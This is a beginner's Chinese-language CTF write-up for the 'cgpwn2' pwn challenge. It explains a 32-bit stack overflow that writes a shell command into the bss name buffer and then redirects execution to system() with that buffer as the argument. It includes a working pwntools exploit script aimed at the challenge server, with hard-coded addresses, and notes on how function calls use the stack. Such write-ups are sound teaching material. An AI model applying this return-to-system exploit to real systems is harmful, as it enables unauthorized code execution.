2. pwn入門新手做system沒有參數(內含函數調用過程),需要自己構造的攻防世界cgpwn2,求大佬指教

在這裏插入圖片描述我們拿到文件之後放到 linux裏checksec一下 一個32位文件 ,開了nx 把文件拖入 ida f5開始分析
main 函數 我們看到了hello() 函數 點進去 進行分析
在這裏插入圖片描述我們看到了比較重要的幾行交互代碼,,我們看看下面的部分首先要求我們輸入一個名字,這個輸入是通過fgets函數完成的,從鍵盤讀取最多32h個字符到name區域
在這裏插入圖片描述
我上網百度了一下 fgets的函數原型
在這裏插入圖片描述我們雙擊fgets函數中的name,然後如圖所示
在這裏插入圖片描述說句題外話,db 34h dup(?) 就是給你定義那個數組分配32h的數,(?)就是給大小 不給初始值 害!學完彙編時間長忘了! 做題的時候沒想起來
這裏沒有發生溢出 然後我們可以看到name是在bss段,
對於bss段的描述:“未初始化的數據,很少使用。”
由於system沒有參數不是我們想要的
我們可以把system的參數寫到這裏,完成system("/bin/sh")
最後 exp這樣寫
from pwn import*
q=remote(‘111.198.29.45’, )
sysaddr=0x08048420
nameaddr=0x0804a080
payload=(0x26+4)*a+p32(sysaddr)+‘a’*4+p32(nameaddr)
q.recvuntil(“please tell me your name”)
q.sendline(“cat flag”)
q.recvuntil(“hello,you can leave some message here:”)
q.sendline(payload)
q.interactive()
在這裏插入圖片描述
對於爲什麼要加’a’*4填充 是因爲 你要調用system函數的時候要壓入一個返回地址
我看了一些大佬寫的wp,也有寫p32(0) 這也相當於4個字節的數
這裏就需要我們對於函數調用有一定的瞭解
在這裏插入圖片描述 在這裏插入圖片描述

函數調用大致 包括以下幾個步驟:

(1)參數入棧:將參數從右向左壓入系統棧中
(2)返回地址入棧:將當前代碼區調用指令的下一條指令地址壓入棧中,供函數返回時繼續執行
(3)代碼區跳轉:處理器從當前代碼區跳轉到背調用函數的入口
(4)棧幀調整

函數返回的步驟如下:

(1)保存返回值:通常將返回值保存在寄存器eax中
(2)彈出當前棧幀,恢復上一個棧幀
這一步分爲 1.在堆棧平衡的基礎上,給esp加上棧幀的大小,降低棧頂回收當前棧空間
2 在當前棧幀底部保存的前棧幀ebp的值探入ebp寄存器,恢復出上一個棧幀
3 將函數返回地址彈給eip寄存器

(3)跳轉:按照函數返回地址跳回母函數中繼續執行

終於完成了!! 明天繼續戰鬥!!!
對於文章有問題或者不一樣的看法 大家可以一起討論一下一起進步
希望有大佬來給我指點一二 非常感謝

發佈了7 篇原創文章 · 獲贊 13 · 訪問量 1435
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章